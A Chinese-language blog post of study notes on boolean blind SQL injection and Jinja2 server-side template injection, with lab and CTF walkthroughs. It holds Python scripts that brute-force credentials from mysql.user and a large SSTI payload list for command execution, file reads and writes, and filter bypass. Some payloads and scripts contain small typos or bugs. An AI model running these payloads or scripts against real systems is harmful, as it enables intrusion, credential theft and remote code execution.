8月底学习情况(布尔盲注,SSTI总结)

关于布尔盲注

什么是布尔盲注?

布尔盲注是一种 SQL 注入攻击技术,攻击者利用真假值来推断数据库中的信息。它不需要注入恶意 SQL 代码,而是通过观察服务器响应的差异来获取信息。

原理

布尔盲注利用了布尔运算符,例如and和or。攻击者构造 SQL 查询,其中包含一个布尔表达式,该表达式会根据数据库中数据的真假值返回不同的结果。

适用情况

页面没有显示位,没有报错信息,只有成功和不成功两种情况。

攻击步骤

第一步:猜测长度

一般在使用布尔盲注时,我们要准确的猜测出正确的数据库名或表名,我们需要先知道他的长度,这时我们需要用到MYSQL的length()函数来判断长度。

例如:

?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=n --+

猜测长度从一开始猜测,知道猜到正确长度为止,当猜测长度错误时,会没有回显或回显异常,猜测长度正确时,回显正常

第二步:利用穷举猜测字符

我们知道,查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),它们对应的ASCLL编码是32~126。

使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

例如:

?id=1' and ascii(substr( database(),1,1))=32 --+
?id=1' and ascii(substr( database(),1,1))=33 --+
?id=1' and ascii(substr( database(),1,1))=34 --+
......
?id=1' and ascii(substr( database(),1,1))=126 --+

这是猜测第一位字符的,那么猜测第n位字符则是

?id=1' and ascii(substr( database(),n,1))=x(32--126) --+

和猜测长度一样,当回显为空或者回显异常时,说明我们猜测的字符是错的,当回显正常时,说明我们猜测ASCLL编码所对应的字符是对的。

ASCLL编码表


总体思路

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

防御措施

防止布尔盲注攻击的最佳方法是使用安全编码实践,例如:

  • 使用参数化查询或预编译语句:这可以防止 SQL 注入,因为它将用户输入与 SQL 查询分开。
  • 对用户输入进行验证和清理:这可以防止攻击者注入恶意字符。
  • 限制对敏感数据的访问:这可以减少攻击者可以访问的信息量。
  • 使用 Web 应用程序防火墙 (WAF):这可以检测和阻止注入攻击。
  • 定期更新软件和补丁程序:这可以修复已知的漏洞。

结论

布尔盲注是一种隐蔽且危险的 SQL 注入攻击技术。通过了解其原理和防御措施,Web 应用程序开发人员可以保护他们的应用程序免受此类攻击。

我么使用sqlli-labs靶场的第五关来解释一下布尔盲注的原理

sqlli-labs靶场第五关

输入

?id=1'

出现报错,判断字符型注入

输入

id=-1'order by 3--+

时没有回显,需要使用其他方法。。。

去搜了大佬们的WP,这儿我们需要使用布尔盲注

布尔盲注,需要耗费大量的时间,它主要用到length()、ascii() 、substr()这三个函数。

输入

?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=5 --+
?id=1' and length(database())=6 --+
?id=1' and length(database())=7 --+
?id=1' and length(database())=8 --+

判断字符长度,到8时回显正常,说明字符长度为8

我们查询到的结果由一个一个字符组成,每一个字符可以是数字、英文字母、特殊符号,总共有95种可能,对应的ascll编码是32-126.

使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

输入

?id=1' and ascii(substr( database(),1,1))=32(32-126)--+

没有回显就代表猜测的字符是错的

输入

?id=1' and ascii(substr( database(),1,1))=115--+

时出现回显,SCLL编码的115对应的是字母s,所以第一个字符就是s

接着猜测后面的字符

?id=1' and ascii(substr( database(),1(1--8),1))=32(32--126)--+

最后一个一个的猜解出的答案为security,我们就得到了他的数据库名,接着用相同的办法去爆表名,字段名,最后得到flag,这个过程很繁琐,需要花费很长的时间,所以大多都是使用脚本去跑的。

布尔盲注脚本

GET请求

import requests
import re

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://XXXXX"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
                    (select group_concat(user,password)
                    from mysql.user)
                ) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
                    substr(
                        (select group_concat(user,password)
                        from mysql.user)
                    ,{n},1)
                ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
try:
    length = getLength(url, payload_len)
    user_pass = getStr(url, payload_str, length)
    # 使用正则表达式提取用户名和密码
    match = re.search(r"user: (.*?) password: (.*)", user_pass)
    if match:
        print("用户名:", match.group(1))
        print("密码:", match.group(2))
    else:
        print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
    print("HTTP请求失败:", e)

 POST请求

import requests
import re

# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
                    (select group_concat(user,password) 
                     from mysql.user)
                )>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
                    substr(
                        (select group_concat(user,password)
                        from mysql.user)
                    ,{l},1)
                )={n} -- a"""

# post请求参数
data= {
    "uname" : "a') or 1 -- a",
    "passwd" : "1",
    "submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
    length = 1
    while True:
        # 修改请求参数
        data["uname"] = payload_len.format(n = length)
        response = requests.post(url=url, data=data)
        # 出现此内容为登录成功
        if '../images/flag.jpg' in response.text:
            print('正在测试长度:', length)
            length += 1
        else:
            print('测试成功,长度为:', length)
            return length;

# 枚举字符
def getStr(length):
    str = ''
    # 从第一个字符开始截取
    for l in range(1, length+1):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["uname"] = payload_str.format(l=l, n=n)
            response = requests.post(url=url, data=data)
            if '../images/flag.jpg' in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:',str )
                break

try:
    length = getLen(payload_len)
    user_pass = getStr(length)
    # 使用正则表达式提取用户名和密码
    match = re.search(r"user: (.*?) password: (.*)", user_pass)
    if match:
        print("用户名:", match.group(1))
        print("密码:", match.group(2))
    else:
        print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
    print("HTTP请求失败:", e)

关于SSTI

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。

SSTI当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

引发SSTI原因

引发SSTI漏洞的原因是因为render_template渲染函数的问题。渲染函数在渲染的时候,往往对用户输入的变量不做渲染。也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。

SSTI类型--Python中的SSTI--jinja

1、Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;

欢迎来到 Jinja2 — Jinja2 2.7 documentation

2、Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

3、Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

SSTI类型判断

关于SSTI类型的判断,其实一张图就能够完全说明

根据他的返回值来判断

 SSTI常用类

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

 常用playload

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

 这个是我目前见过最完整的playload(不管什么题构造的playload都是这种)

{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

 关于拼接绕过

我们假设当class被过滤了时,我们可以使用拼接绕过,__class__  ————>  ['__cla'+'ss__']

中间用+号连接

# 假设关键字class被过滤
{{ ().__class__ }}
 
# +号绕过,payload:
{{ ()['__cl'+'ass__'] }}

 [HNCTF 2022 WEEK2]ez_SSTI

先打开环境,看了WP才知道参数是name(他们也是忙猜的。。。)

输入

?name={{7*7}}

根据上边图判断出模板类型是jinja2,其实题目也给了提示

接着我们找到了class 'os._wrap_close类,定位他的位置是137

输入

?mame={{""._class_._bases__[0].__subclasses__()[137]}}

 确定一下

因为 os._wrap_close 类里有popen命令,我们可以直接使用popen命令执行,输入

?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('ls').read()}}

 看到了flag

 我们就直接读取flag,输入

?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('tac flag').read()}}

 得到flag

 [NCTF 2018]flask真香

打开环境,翻页发现,题目已经给了提示是SSTI模板注入的jinja2类型,那就直接不用判断了

输入

{{''.__class__}}

没有回显

慢慢试错后发现过滤了class、getattr、builtins、import、os

使用字符串拼接绕过,输入

{{()['__cla'+'ss__'].__bases__[0]['__subcl'+'asses__']()}}

 接着找到了<class 'os._wrap_close'>,他的位置是在240

 

 输入

{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

看到了flag

 直接读取

{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}

 得到flag

[安洵杯 2020]Normal SSTI 

关于这一题过滤了巨多的东西,看了很多WP,但还是不能够完全的理解,。。。。注入在我这儿永远是个坑。。。

首先呢,就是{{}}被过滤了,这儿我们可以使用{%%}进行绕过

然后呢就是.[ ]被过滤了,所以,我们可以用|attr(“__class__”)进行绕过,这儿  

|attr(“__class__”)就等于.__class__,并不是只有这一个,关于类似于要使用xxx.os(‘xxx’)类似的方法,都可以使用xxx|attr(“os”)(‘xxx’)来进行绕过

下划线被过滤了,这儿我们就需要使用unicode编码进行绕过

这一题我们需要使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

打开环境,给了提示,需要我们在url后面接text/url=

test?url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
#这儿是进行过了unicode编码的其实他就等于{{""._class_}}

接着我们继续寻找OS模块

url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}
这儿的意思就是{{lipsum.__globals__}}

 接下来我们引用popen来查看目录

url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}


这儿等于{{lipsum.__globals__.get("os").popen("ls").read()}}

 看到flag了呗,接下来还不简单

url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}

这儿等于{{config.__class__.__init__.__globals__.get(“os”).popen('cat flag').read()}}

 得到flag

  • 17
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值